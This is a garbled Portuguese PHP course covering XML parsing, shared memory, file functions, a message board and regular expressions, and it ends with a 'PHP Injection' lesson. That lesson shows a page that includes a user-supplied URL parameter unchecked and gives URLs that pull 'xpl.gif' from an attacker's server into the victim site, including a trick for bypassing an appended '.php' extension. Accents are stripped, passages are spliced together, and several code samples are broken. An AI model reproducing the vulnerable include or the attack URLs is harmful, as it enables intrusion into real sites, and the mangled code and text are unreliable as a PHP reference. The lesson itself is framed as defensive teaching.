<?xml version="1.0"?>
<livraria>
<livro>
<titulo>Aprenda PHP</titulo>
<preco>R$ 40.00</preco>
<autor>Jose da Silva</autor>
</livro>
<livro>
<titulo>Aprenda ASP</titulo>
<preco>R$ 50.00</preco>
<autor>Manuel</autor>
</livro>
<livro>
<titulo>Aprenda JAVA</titulo>
<preco>R$ 80.00</preco>
<autor>Francisco</autor>
</livro>
</livraria>
<html>
<head>
<title>Livros</title>
</head>
<body>
<h3>Livros</h3>
<?
function tag_inicial($parser, $elemento)
{
if($elemento != "LIVRARIA")
{
if($elemento == "LIVRO")
{
echo "<ul>";
}
else
{
echo "<li>$elemento : ";
}
}
}
function tag_final($parser, $elemento)
{
if($elemento != "LIVRARIA")
{
if($elemento == "LIVRO")
{
echo "</ul>";
}
else
{
echo "</li>";
}
}
}
function trata_caracter($parser, $dados)
{
echo $dados;
}
$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "tag_inicial", "tag_final");
xml_set_character_data_handler($xml_parser, "trata_caracter");
if(file_exists("livros.xml"))
{
$fp = fopen("livros.xml", "r");
while($dados = fread($fp, 4096))
{
xml_parse($xml_parser, $dados, feof($fp));
}
xml_parser_free($xml_parser);
}
?>
</body>
</html>
exemplo2
manual do php:
<?php
$file = "livros.xml";
function startElement($parser, $name, $attribs) {
echo "<<font color=\"#0000cc\">$name</font>";
if (sizeof($attribs)) {
while (list($k, $v) = each($attribs)) {
return false;
}
while ($data = fread($fp, 4096)) {
if (!xml_parse($parser, $data, feof($fp))) {
printf("XML error: %s at line %d while parsing entity %s\n",
xml_error_string(xml_get_error_code($parser)),
xml_get_current_line_number($parser), $openEntityNames);
xml_parser_free($parser);
return false;
}
}
xml_parser_free($parser);
return true;
}
return false;
}
function new_xml_parser($file) {
global $parser_file;
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 1);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
xml_set_processing_instruction_handler($xml_parser, "PIHandler");
xml_set_default_handler($xml_parser, "defaultHandler");
xml_set_external_entity_ref_handler($xml_parser, "externalEntityRefHandler");
if (!($fp = @fopen($file, "r"))) {
return false;
}
if (!is_array($parser_file)) {
settype($parser_file, "array");
}
$parser_file[$xml_parser] = $file;
return array($xml_parser, $fp);
}
if (!(list($xml_parser, $fp) = new_xml_parser($file))) {
die("could not open XML input");
}
echo "<pre>";
while ($data = fread($fp, 4096)) {
if (!xml_parse($xml_parser, $data, feof($fp))) {
Usando o SAX ou DOM voc obter o mesmo resultado, a diferena est apenas na questo de
desempenhoe acessibilidade.
Em relao a velocidade o SAX apresenta um melhor desempenho, visto que o parser DOM
precisa criar uma rvore completoa com todos
os dados do documento XML
Mas por outro lado o parser DOM tem a vantagem de ser mais flexivel no que diz respeito
acessibilidade de dados
parser DOM um modulo experimental, mais detalhes www.php.net/ref.domxml.html
Funes de Memria Compartilhada
Shmop um fcil caminho para usar funes que permitem o PHP ler, escrever, criar e deletar
segmentos de memria compartilhada UNIX.
Note que verses do Windows anteriores ao Windows 2000 no suportam memria
compartilhada.
obs: precisa descomentar a linha extension=php_shmop.dll no php.ini
exemplo:
<?php
// Cria 100 byte num pedao da memoria
$memoria_id = shmop_open(0xff3, "c", 0644, 100);
if(!$memoria_id) {
echo "No foi possivel criar a repartio da memoria\n";
}
// Pega pedao da memoria criada
$memoria_size = shmop_size($memoria_id);
echo "Foi criado: $memoria_size bytes na memoria com sucesso<br>";
// Escrever frase na memoria
$grava_memoria = shmop_write($memoria_id, "meu teste de memoria", 0);
//Testa se nao tiver escrito o texto na memoria
if($grava_memoria != strlen("meu teste de memoria")) {
echo "Nao foi possivel gravar na memoria\n";
}
// Ler frase na memoria
$meu_texto = shmop_read($memoria_id, 0, $memoria_size);
if(!$meu_texto) {
echo "Nao foi possivel ler da memoria\n";
}
echo "Minha frase gravada na memoria : $meu_texto";
Modulo 9
Introduo
o Manipulao de arquivos texto
o Funes do PHP para manipulao de arquivos
o Criando um mural de recados em arquivos texto
o Expresses Regulares (E.R.)
Manipulao de arquivos texto
Muitas vezes precisamos guardar dados simples, e por isso no teria a necessidade de um
SGBD Basta um arquivo de texto, sendo esse modo mais simples e rpido que um SGBD.
S lembrando que se tratando de um arquivo de texto ele torna seu sistema mais frgil e sem
segurana Como por exemplo, qualquer pessoa pode abrir o arquivo de texto e examinar tudo
que tem dentro dele, ou at mesmo apagar ele.
Sem contar tambm que o arquivo de texto tem que ser usado para escrita num modo
exclusivo se no fizer isso pode perder dados j que duas pessoas ou mais estiverem usando
um sistema em base de texto e na hora de gravar elas no podem gravar ao mesmo tempo,
por isso voc ter que criar uma proteo para o arquivo na hora de gravar e liberar quando
no estiver gravando, um exemplo desse tipo de falha o banco acess antigo.
Essa funo de proteo do arquivo para escrita e outras vocs vo ver logo mais nesse curso.
E sobre o que eu falei de segurana e fragilidade dos arquivos texto no querendo te
desencorajar a usar arquivos textos, pelo contrrio.
s um aviso importante que voc precisava saber antes de comear a manipular arquivos
textos, muitos sistemas usam base de texto para guardar dado ou at configuraes do
sistema, enquetes simples, contadores de acesso ou visitas ou clicks, equipamentos como
micro terminais, catracas eletrnicas, sistemas de telefonia, etc..., como voc pode ver muitos
sistemas ou equipamentos usam base em arquivos de texto.
Eu posso citar um exemplo as catracas eletrnicas, no conheo todas as marcas mas a marca
Wilbor usa base de textos e ela grava o nmero do carto do funcionrio, data e hora de
entrada ou sada, para que o sistema do RH possa colher esses dados e controlar as faltas do
funcionrio e fazer o pagamento com horas extras etc..., outro sistema muito usado e
conhecido em grandes empresas um sistema de PABX que controla as ligaes da empresa
inteira como quem ligou e pra onde, data, horrio, fazendo um relatrio completo das ligaes
de entrada e sada da empresa, e esse sistema tambm usam base de textos no digo todos,
mas a maioria como por exemplo, da marca Intelbras.
Por isso bom voc saber manipular arquivos de texto caso algum dia precise.
Eu por exemplo fiz um sistema completo para colher os dados de uma catraca eletrnica da
empresa em que eu trabalho , j que o prprio sistema que vem com ela muito simples e
limitado, da pra falar de muito mais utilidades de usar arquivos de texto, mas vou parar por
aqui.
Obs.: No estou falando em nenhum momento que uma base em arquivo de texto melhor
que um SGBD s estou falando as utilidades e vantagens de usar base de texto Sem comparar
com SGBD.
Para portabilidade, estremamente recomendado que voc sempre utilize a flag 'b' quando
abrindo arquivos com fopen().
Novamente, por portabilidade, estremamente recomendvel que voc re-escreva seu cdigo
nas situaes em que o modo 't' deva ser utilizado para corrigir os fim de linha, onde o modo
'b' no deva ser utilizado.
A partir do PHP 4.3.2, o modo padro configurado para binrio em todas as plataformas que
distinguem entre modo texto e binrio. Se voc est tendo problemas em seus scripts depois
de um upgrade, tente acrescentar a flag't' como um paliativo at que voc tenha tornado seus
scripts portveis como mencionado acima.
Voc pode usar o terceiro pparmetro opcional como "1", se voc quiser procurar pelo
arquivo no include_path tambm.
Se a abertura falhar, a funo retorna FALSE e um erro nvel E_WARNING gerado. Voc pode
utilizar @ para suprimir esse alerta.
Exemplo 1. exemplo do fopen()
PHP
1. <?php
2. $handle = fopen ("/home/rasmus/file.txt", "r");
3. $handle = fopen ("/home/rasmus/file.gif", "wb");
4. $handle = fopen ("http://www.example.com/", "r");
5. $handle = fopen ("ftp://user:password@example.com/somefile.txt", "w");
6. ?>
Se voc est tendo problemas com a leitura e gravao para arquivos e voc est usando a
verso de modulo de servidor do PHP, lembre-se de que os arquivos e diretrios que voc est
usando precisam ser acessveis ao processo do servidor HTTP.
Na plataforma Windows, tenha cuidado para usar uma segunda barra invertida (escape) nos
caminhos de arquivos, ou usar a barra normal.
<?php
$handle = fopen ("c:\\data\\info.txt", "r");
?>
fclose
fclose
fclose -- Fecha um ponteiro de arquivo aberto
Descrio
bool fclose ( int handle)
O arquivo apontado por handle fechado.
Retorna TRUE em caso de sucesso ou FALSE em falhas.
O ponteiro para o arquivo tem que ser vlido e tem que apontar para um arquivo aberto por
fopen() ou fsockopen().
Exemplo 1. Exemplo fclose()
PHP
1.
2. <?php
3.
4.
5.
6.
fclose($handle);
7.
8. ?>
9.
readfile
readfile -- L e exibe o contedo de um arquivo
Descrio
int readfile ( string nomedoarquivo [, bool use_include_path [, resource context]])
file
file -- Le um arquivo inteiro para um array
Descrio
array file ( string filename [, int use_include_path [, int use_include_path]])
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $array = file ([color=" orange"]"teste.txt"[/color]);
3. foreach ($array as $linha)
4. [color=" blue"]echo[/color] $linha.[color=" orange"]"<br>"[/color];
5. [color=" red fontweight bold"]?>[/color]
Idntico a readfile(), exceto que file() retorna o arquivo em um array. Cada elemento do array
corresponde a uma linha no arquivo, inclusive com o caracter de nova linha. Em caso de falha,
file() retorna FALSE.
Voc pode usar o parmetro opcional use_include_path como "1", se voc deseja procurar o
PHP
1.
2. [color=" red fontweight bold"]<?php[/color]
3. // Le um arquivo em um array. Nesse exemplo voc pode obter via HTTP para obter
4. // o cdigo fonte HTML de uma URL.
5. $lines = file ('http://www.exemplo.com/');
6.
7. // Roda atravs do array, mostrando o fonte HTML com numerao de linhas.
8. foreach ($lines as $line_num => $line) {
9. [color=" blue"]echo[/color] [color="
orange"]"Linha #<b>{$line_num}</b> : "[/color] . htmlspecialchars($line) . [color="
orange"]"<br>\n"[/color];
10. }
11.
12. // Outro exemplo, onde obtemos a pgina web inteira como uma string. Veja tambm
file_get_contents().
13. $html = implode ('', file ('http://www.exemplo.com/'));
14. [color=" red fontweight bold"]?>[/color]
Dica: Voc pode usar uma URL com esta funo se fopen wrappers estiver habilitado. Veja
fopen() para mais detalhes em como especificar o nome do arquivo e Apndice L para uma
lista de protocolos URL suportados.
Nota: Cada linha do array resultante ter os caracteres de fim de linha, ento voc precisa
utilizar trim() se no quiser esses caracteres presentes.
Nota: Se voc est tendo problemas com o PHP no reconhecimento do final de linha quando
criando ou lendo arquivos num computador Macintosh, voc pode habilitar a opo
auto_detect_line_endings.
Nota: A partir do PHP 4.3.0, voc pode utilizar file_get_contents() para retornar o contedo de
um arquivo como uma string.
No PHP 4.3.0 file() se tornou segura para arquivos binrios.
file_get_contents
file_get_contents -- Le todo o contedo de um arquivo para uma string
Descrio
string file_get_contents ( string filename [, int use_include_path [, resource context]])
Idntico a file(), exceto que file_get_contents() retorna o arquivo em uma string.
file_get_contents() o mtodo prefervel para ser ler o contedo de um arquivo em uma
string. Ela usa tecnicas de mapeamento de memrio suportadas em seu sistema operacional
para melhorar a performance.
Nota: Esta funo compatvel com dados binrios
Dica: Voc pode usar uma URL com esta funo se fopen wrappers estiver habilitado. Veja
fopen() para mais detalhes em como especificar o nome do arquivo e Apndice L para uma
lista de protocolos URL suportados.
Nota: O suporte ao contexto foi acrescentado no PHP 5.0.0.
PHP
1. [color=" red fontweight bold"]<?[/color]
2. $conteudo = file_get_contents ([color=" orange"]"teste.txt"[/color]);
3. [color=" blue"]echo[/color] $conteudo;
4. [color=" red fontweight bold"]?>[/color]
fread
fread -- Leitura binary-safe de arquivo
Descrio
string fread ( resource handle, int length)
fread() l at length bytes do ponteiro de arquivo informado em handle. A leitura
interrompida quando length bytes foram lidos ou o fim do arquivo (eof) foi alcanado, ou (para
streams de rede) quando um pacote se torna disponvel, o que ocorrer primeiro.
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $ponteiro = fopen ([color=" orange"]"teste.txt"[/color], [color=" orange"]"r"[/color]);
3. $conteudo = fread ($ponteiro, 30);
4. [color=" blue"]echo[/color] $conteudo;
5. fclose ($ponteiro);
6. [color=" red fontweight bold"]?>[/color]
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. // ler o contedo do arquivo para uma string
3. $filename = [color=" orange"]"/usr/local/qualquer.txt"[/color];
4. $handle = fopen ($filename, [color=" orange"]"r"[/color]);
5. $conteudo = fread ($handle, filesize ($filename));
6. fclose ($handle);
7. [color=" red fontweight bold"]?>[/color]
Ateno
Em sistemas que diferenciam entre arquivos binrios e texto (por exemplo Windows) o arquivo
tem que ser aberto com 'b' includo como parametro na funo fopen().
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $filename = [color=" orange"]"c:\\files\\figura.gif"[/color];
3. $handle = fopen ($filename, [color=" orange"]"rb"[/color]);
4. $conteudo = fread ($handle, filesize ($filename));
5. fclose ($handle);
Ateno
Quando lendo de streams de rede ou canais (pipes), como aqueles retornados pela leitura de
arquivos remotos ou de popen() e proc_open(), a leitura ir parar depois que um pacote se
torna disponvel. Isto significa que voc deve juntar os dados em blocos como demonstrado no
exemplo seguinte.
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $handle = fopen ([color=" orange"]"http://www.example.com/"[/color], [color="
orange"]"rb"[/color]);
3. $conteudo = [color=" orange"]""[/color];
4. do {
5. $data = fread($handle, 8192);
6. [color=" blue"]if[/color] (strlen($data) == 0) {
7. [color=" blue"]break[/color];
8. }
9. $conteudo .= $data;
10. } while(true);
11. fclose ($handle);
12. [color=" red fontweight bold"]?>[/color]
Nota: O exemplo acima tem uma performance melhor que o jeito comum usando
while(!feof()), porque ele economiza o overhead de uma chamada de funo por iterao.
Nota: Se voc quer apenas pegar o contedo de um arquivo para uma string, utilize
file_get_contents() que tem uma performance ainda melhor que o cdigo acima.
fgets
fgets -- Le uma linha de um ponteiro de arquivo
Descrio
string fgets ( resource handle [, int length])
Retorna uma string com at length - 1 bytes lidos do arquivo apontado por handle. A leitura
acaba quando length - 1 bytes foram lidos, encontra-se um fim de linha (newline) (que
incluido no valor retornado) ou no fim de arquivo (EOF) (o que acontecer primeiro). Se
nenhum length for informado, o default 1Kb, ou 1024 bytes.
Se um erro ocorrer, retorna FALSE.
Equvocos comuns:
Pessoas acostumadas a semntica do fgets em 'C' devem notar a diferenca em como o fim do
arquivo (EOF) retornado.
O ponteiro para o arquivo deve ser vlido e deve apontar para um arquivo aberto com sucesso
por fopen(), popen() ou fsockopen().
Um simples exemplo segue: Exemplo 1. Lendo um arquivo linha a linha
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $handle = fopen ([color=" orange"]"/tmp/arquivodeentrada.txt"[/color], [color="
orange"]"r"[/color]);
3. while (!feof ($handle)) {
4. $buffer = fgets($handle, 4096);
5. [color=" blue"]echo[/color] $buffer;
6. }
7. fclose ($handle);
8. [color=" red fontweight bold"]?>[/color]
9.
PHP
1. [color=" red fontweight bold"]<?[/color]
2.
3. $ponteiro = fopen ([color=" orange"]"teste.txt"[/color], [color=" orange"]"r"[/color]);
4.
5. while (!feof ($ponteiro)) {
6.
7.
8.
9.
10.
11. }
12.
13. fclose ($ponteiro);
14. [color=" red fontweight bold"]?>[/color]
Nota: O parmetro length se tornou opcional a partir do PHP 4.2.0, e se omitido, tem default
para 1024 bytes para o comprimento da linha. A partir do PHP 4.3, omitindo length far
continuar a leitura a partir do stream at encontrar o fim da linha. Se a maioria das linhas no
arquivo forem todar maiores que 8 Kb, haver mais eficincia de recursos se seus scripts
informarem o comprimento mximo das linhas.
Nota: Esta funo binary safe a partir do PHP 4.3. Verses anteriores no so seguras para
dados binrios.
Nota: Se voc est tendo problemas com o PHP no reconhecimento do final de linha quando
criando ou lendo arquivos num computador Macintosh, voc pode habilitar a opo
auto_detect_line_endings.
fwrite
fwrite -- Gravao em arquivos binary-safe
Descrio
int fwrite ( resource handle, string string [, int comprimento])
fwrite() grava os contedos de string para o stream de arquivo apontado por handle. Se o
argumento comprimento dado, a gravao ir parar depois de que comprimento bytes foram
escritos ou o fim da string alcanada, o que ocorrer primeiro.
fwrite() retorna o nmero de bytes gravados, ou FALSE em caso de erro.
Note que se o argumento comprimento dado, ento a opo de configurao
magic_quotes_runtime ser ignorada e nenhuma barra ser retirada do string.
Nota: Em sistemas que diferenciam entre arquivos binrios e texto (por exemplo Windows) o
arquivo tem que ser aberto com 'b' includo no parametro mode do fopen().
Exemplo fwrite
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $filename = 'teste.txt';
3. $somecontent = [color=" orange"]"Acrescentando isto no arquivo\n"[/color];
4.
5. // Tendo certeza que o arquivo existe e que h permisso de escrita primeiro.
6. [color=" blue"]if[/color] (is_writable($filename)) {
7.
8. // Em nosso exemplo, ns estamos abrindo $filename em modo de append (acrscimo
).
9. // O ponteiro do arquivo estar no final dele desde
10. // que ser aqui que $somecontent ser escrito com fwrite().
11. [color=" blue"]if[/color] (!$handle = fopen($filename, 'a')) {
12. [color=" blue"]print[/color] [color="
orange"]"Erro abrindo arquivo ($filename)"[/color];
13. exit;
14. }
15.
16. // Escrevendo $somecontent para o arquivo aberto.
17. [color=" blue"]if[/color] (!fwrite($handle, $somecontent)) {
18. [color=" blue"]print[/color] [color="
orange"]"Erro escrevendo no arquivo ($filename)"[/color];
19. exit;
20. }
21.
22. [color=" blue"]print[/color] [color="
orange"]"Sucesso: escrito ($somecontent) no arquivo ($filename)"[/color];
23.
24. fclose($);
25.
26. } [color=" blue"]else[/color] {
27. [color=" blue"]print[/color] [color="
orange"]"The file $filename is not writable"[/color];
28. }
29. [color=" red fontweight bold"]?>[/color]
fputs
fputs -- Sinnimo de fwrite()
flock
flock -- Monitor de travamento de arquivos porttil
Descrio
bool flock ( int handle, int operation [, int &wouldblock] )
O PHP suporta uma maneira portvel de lock arquivos inteiros em uma advisory way (que
significa que todos os programas acessando tem que usar o mesmo tipo de travamento ou no
ir funcionar).
flock() opera em fp, que tem que ser um ponteiro de arquivo aberto com sucesso. operacao
um dos seguintes valores:
Para obter um lock compartilhado (leitura), utilize operation como LOCK_SH (ou use 1 se a
verso do PHP for anterior a 4.0.1).
Para obter um lock exclusivo (gravao), utilize operacao como LOCK_EX (ou use 2 se a verso
do PHP for anterior a 4.0.1).
Para retirar um lock (compartilhado ou exclusivo), uyilize operacao como LOCK_UN (ou use 3
se a verso do PHP for anterior a 4.0.1).
Se voc no quer usar flock() para bloquear enquanto travando, adicione LOCK_NB (4 se a
verso do PHP for anterior a 4.0.1) a operacao.
flock() permite a voc fazer um simples modelo leitura/gravao (reader/writer) que pode ser
usado em virtualmente todas as plataformas (incluindo a maior parte dos Unixes e at mesmo
Windows). O terceiro argumento opcional usado como TRUE se a lock ir bloquear
(EWOULDBLOCK errno condition).
Retorna TRUE em caso de sucesso ou FALSE em falhas.
Exemplo 1. flock() example
PHP
1. [color=" red fontweight bold"]<?php[/color]
2.
3. $fp = fopen([color=" orange"]"/tmp/lock.txt"[/color], [color=" orange"]"w+"[/color]);
4.
5. [color=" blue"]if[/color] (flock($fp, LOCK_EX)) { // faca um lock exclusivo
6. fwrite($fp, [color=" orange"]"escrevemos algo aqui\n"[/color]);
7. flock($fp, LOCK_UN); // libera o lock
8. } [color=" blue"]else[/color] {
9. [color=" blue"]echo[/color] [color=" orange"]"No pude travar o arquivo !"[/color];
10. }
11.
12. fclose($fp);
13.
Nota: Uma vez que flock() requer um ponteiro de arquivo, voc precisa utilizar um lock de
arquivo especial para proteger i acessi a um arquivo ao qual voc pretende truncar quando
abrindo no modo de escrita (com um argumento "w" ou "w+" em fopen()).
Ateno
flock() no funcionar em NFS ou em qualquer outro sistema de arquivos em rede. Verifique a
documentao do seu sistema operacional para mais detalhes.
Na maior parte dos sistemas operacionais flock() implementada no nvel do processo.
Quando utilizando um servidor com uma API de multiprocessamento (como ISAPI), voc no
pode confiar em flock() para proteger os arquivos contra outros scripts PHP rodando em
threads paralelas da mesma instncia do servidor!
flock() no suportado em sistemas de arquivos antiquados como a FAT e seus derivados, e
sempre retornar FALSE sob esses ambientes (especialmente para usurios do Windows 98).
Criando um mural de recados em arquivos texto
vou mostrar como criar um mural de recados bem simples depois vocs podem aperfeioar ele
como por exemplo deixar s pessoas cadastradas postar uma mensagem, nao deixar dados em
branco serem gravados, limitar o tamanho maximo da mensagem, colocar a opo de editar a
mensagem ,mas o usuario pode s editar a sua propria mensagem e o admin pode editar
todas, facil fazer tudo isso ,mas como o foco do curso no fazer sistemas pra ninguem ,mas
sim ensinar o caminho das pedras e mostrar os melhores caminhos ,ento fica por sua conta
essa incrementao do sistema, mas qualquer duvida pode perguntar no forum
PHP
1. <html>
2. <body>
3. <form method=[color=" orange"]"post"[/color] action=[color="
orange"]"gravar.php"[/color]>
4. <table width=[color=" orange"]"100px"[/color] border=[color="
orange"]"0"[/color] align=[color=" orange"]"center"[/color]>
5.
<tr>
6. <td>Nome: </td>
7. <td><input name=[color=" orange"][color=" orange"][color="
orange"]"nome"[/color][/color][/color] type=[color="
orange"]"text"[/color] size=[color=" orange"][color=" orange"][color="
orange"]"20"[/color][/color][/color] maxlength=[color=" orange"][color="
orange"][color=" orange"]"20"[/color][/color][/color]></td>
8.
</tr>
9.
<tr>
10. <td>Mensagem:</td>
11. <td>
12. <textarea name=[color=" orange"][color=" orange"]"msg"[/color][/color] cols=[color="
orange"][color=" orange"][color=" orange"]"20"[/color][/color][/color] rows=[color="
orange"]"3"[/color]>
13. </textarea>
14. </td>
15. </tr>
16. <tr>
17. <td><input type=[color=" orange"]"submit"[/color] value=[color="
orange"]"Enviar"[/color]></td>
18. </tr>
19. </table>
20. </form>
21. </body>
22. </html>
23. [color=" red fontweight bold"]<?[/color]
24. [color=" blue"]echo[/color] [color=" orange"]"<hr>"[/color];
25.
26. [color=" blue"]if[/color](isset($_POST[[color=" orange"][color=" orange"][color="
orange"]"nome"[/color][/color][/color]]))
27. {
28.
ndice
basename -- Retorna a parte nome do arquivo do caminho/path
chgrp -- Modifica o grupo do arquivo
chmod -- Modifica as permisses do arquivo
chown -- Modifica o dono do arquivo
clearstatcache -- Limpa as informaes em cache de arquivos
copy -- Copia arquivo
dirname -- Retorna o componente diretrio de um caminho/path
disk_free_space -- Retorna o espao disponivel no diretrio
disk_total_space -- Retorna o tamanho total do diretrio
diskfreespace -- Sinnimo de disk_free_space()
fclose -- Fecha um ponteiro de arquivo aberto
feof -- Testa pelo fim-de-arquivo (eof) em um ponteiro de arquivo
fflush -- Fora a liberao do buffer para um arquivo
fgetc -- Le um caracter do ponteiro de arquivo
fgetcsv -- Le uma linha do ponteiro de arquivos e a interpreta por campos CSV
fgets -- Le uma linha de um ponteiro de arquivo
fgetss -- Ler uma linha de um ponteiro de arquivo e retira as tags HTML
file_exists -- Checa se um arquivo ou diretrio existe
file_get_contents -- Le todo o contedo de um arquivo para uma string
file_put_contents -- Write a string to a file
file -- Le um arquivo inteiro para um array
fileatime -- Obtm o ltimo horrio de acesso do arquivo
filectime -- Ler o tempo de modificao do inode do arquivo
filegroup -- L o grupo do arquivo
fileinode -- L o inode do arquivo
filemtime -- Le o tempo de modificao do arquivo
fileowner -- L o dono (owner) do arquivo
fileperms -- L as permisses do arquivo
filesize -- L o tamanho do arquivo
filetype -- L o tipo de arquivo (file type)
flock -- Monitor de travamento de arquivos porttil
fnmatch -- Verifica se um nome de arquivo bate com padro (wildcards)
fopen -- Abri um arquivo ou uma URL
fpassthru -- Imprime todo os dados restantes de um ponteiro de arquivo
fputcsv -- Format line as CSV and write to file pointer
esse tutorial pra voc, vou tentar explicar o mximo sobre ER tirando aquela ideia que uma
ER parece codigo pra indigena ou outra coisa que no da pra entender nada, meu foco no
deixar voc 100% conhecedor de ER ,mas sim mostrar que no to complicado fazer ou ler
uma er basta prestar ateno
e eu vou passar o que eu sei dai voc ter uma base pra se aprofundar em conhecer melhor
sobre ER, muita gente no sabe usar uma ER por isso acaba fazendo coisas complexas que com
uma simples ER faria, depois que voc se acostumar a trabalhar com ER voc vai ver que
impossivel ficar sem elas
bom mas chega de papo e vamos la para o que interessa.
O que so Expresses Regulares?
Resumindo so simbolos ou caracteres com funes especiais para pesquisar,
casar uma frase, palavra ou caracter, substituir ou modificar, por exemplo voc pode procurar
uma frase por uma palavra a ou voc s quer aceitar s palavras minusculas, voc quer uma
palavra ou caracter que esteja no comeo ou no fim de uma frase, voc pode validar:
emails,cnpj, cpf, numeros, datas, etc... tudo isso que eu falei e muito mais voc pode fazer com
ER, muito mais facil que tentar fazer uma funo pra isso dependendo da funo ela seria
enorme ao contrario de uma simples ER de uma linha
funes do php para manipular as ER
[color="DarkBlue"]ereg()
ereg_replace()
eregi()
eregi_replace()
split()
spliti()
preg_match()
preg_match_all()
preg_replace()
preg_split()
sql_regcase()[/color]
Vou falar mais da prprias ER doque as funes acima caso queria estuda-las procure no
manual do php
\a Isto combina com o caractere ASCII da campainha (BEL, 0x07).
\f Isto combina com o caractere ASCII de nova pgina (FF, 0x0C).
\n Isto combina com o caractere ASCII de nova linha (LF, 0x0A, nova linha do Unix).
\r Isto combina com o caractere ASCII de retorno de carro (CR, 0x0D).
[] lista
- (hfen)
Denota um intervalo lgico. Deve sempre ser escapado dentro de uma classe.
[0-9] mesma coisa que 0123456789
[a-z] mesma coisa que abcdefghij...z
^ (circunflexo)
Denota uma classe negativa, se for o primeiro caractere. Deve ser escapado para combinar
literalmente, se for o primeiro caractere da classe.
\ (barra invertida) O caractere de escape.
^ (circunflexo) Combina com o incio da string.
PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"Fabyo"[/color];
3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/"[/color], $test);
4. [color=" red fontweight bold"]?>[/color]
PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"Andr"[/color];
3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/"[/color], $test);
4. [color=" red fontweight bold"]?>[/color]
esse exemplo acima continuar retornando falso porque voc ta buscando um a minusculo se
quiser aceitar maiusculos e minusculos voc pode fazer assim:
PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"Andr"[/color];
3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^[aA])/"[/color], $test);
4. [color=" red fontweight bold"]?>[/color]
PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"Andr"[/color];
3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/i"[/color], $test);
4. [color=" red fontweight bold"]?>[/color]
PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"asp"[/color];
3. [color=" blue"]echo[/color] preg_match(sql_regcase([color="
orange"]"#(PHP|ASP)#"[/color]), $test);
4. [color=" red fontweight bold"]?>[/color]
PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"*? teste"[/color];
essa funo ira colorir as tags <??>, <%%> ou <?php ?> <?PHP ?>
[color="DarkBlue"]<[/color] = [color="red"]<[/color] e [color="DarkBlue"]>[/color] =
[color="red"]>[/color]
depois de passar pela funo ira colorir as tags ficando por exemplo :[color="red"]<??>[/color]
no prximo mdulo falarei mais sobre ER , explicarei mais sobre as funes da ER
e darei mais exemplos pra voc no ficar to perdido como eu ficava quando olhava uma ER.
Modulo 10
Introduo
o Expresses Regulares (E.R.) parte2
o Estudo sobre PHP Injection
o Id3 Tags MP3 e PEAR
o Funes ODBC migrando banco Access para o Mysql
o Importando emails salvo com separao de virgulas para o banco Mysql
o Funo getimagesize
o Segurana
o Log de Erros
1 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</b> usando as tags
html para deixar negrito o texto
2 exemplo ira substituir tudo que tiver entre conteudo por <i>conteudo</i> usando as tags
html para deixar em italico o texto
3 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</u> usando as tags
html para criar uma lista
4 exemplo ira trocar o texto script por uma imagem relacionada a ela os famosos smiles
PHP
1. $txt = preg_replace("/[$]([a-zA-Z_])([a-zA-Z0-9_]*)/", "<span style=\"color: blue; fontweight: bold;\">\\0</span>", $txt);
esse exemplo acima ira colorir tudo que tiver junto da $+string veja a ER se comear com
numero ela nao ira colorir
PHP
1. $txt = preg_replace("/'(.*?)'/", "<span style=\"color: red;\">\\0</span>",$txt);
esse exemplo acima ira colorir tudo que tiver entre 'string'
Referncias Bibliogrficas
Como todo mundo sabe quando a pgina acima for processada pelo servidor Web, todo o
contedo do arquivo.php ser processado pelo servidor
e colocano no exemplo 1.
Com isso vamos ao que interessa, a funo include permite que faamos incluses remotas, ou
seja poderemos incluir arquivos no cdigo PHP, mesmo
que estes no estejam no servidor onde a pgina se encontra.
exemplo:
PHP
1. <?php
2. include "http://site.com.br/pagina.php";
3. ?>
O importante dessas explicaes para voc saber proteger melhor seu site e se prevenir de
futuros ataques deixando seu sistema mais seguro
mas no use essas informaes para tirar proveito, nem para invadir outro site, sabia que isso
crime ,e tenha sempre a informao sobre segurana
para se proteger e aprender mais sobre segurana.
Agora vamos ver como como injetar um cdigo malisioso na pgina a ser invadida.
Muitos programadores hoje no aprendem ou no dao muita importancia para segurana.
Geralmente a funo include usada para agilizar a exibio de uma pgina.
exemplo 2:
pagina.php
PHP
1. <html>
2. <head>
3. </head>
4. <body>
5. <?php
6. if(isset($_GET["corpo"]))
7. {
8. include $_GET["corpo"];
9. }
10. ?>
11. </body>
12. </html>
Esse exemplo acima ira incluir uma pgina por exemplo a arquivo.php assim que ela for
inserida pela url exemplo:
http://pagina.php?corpo=arquivo.php
http://pagina.php?corpo=http://seusite.com.br/script.php
uma maneira de se proteger contra esse ataque tirando a extenso para ser incluida
exemplo:
exemplo 3:
PHP
1. pagina.php
2. <html>
3. <head>
4. </head>
5. <body>
6. <?php
7. if(isset($_GET["corpo"]))
8. {
9. include $_GET["corpo"].".php";
10. }
11. ?>
12. </body>
13. </html>
agora essa pgina s aceita arquivos passados sem extenso por exemplo:
http://pagina.php?corpo=arquivo
com esse ponto de interrogao logo aps xpl.gif ,conseguiremos o desejado antes de fazer a
incluso ficaria assim :
http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif?.php
Tudo que tiver depois do ponto de interrogao ser descartado pelo servidor do atacante
sendo possivel assim descarregar o xpl.gif para dentro do servidor alvo.
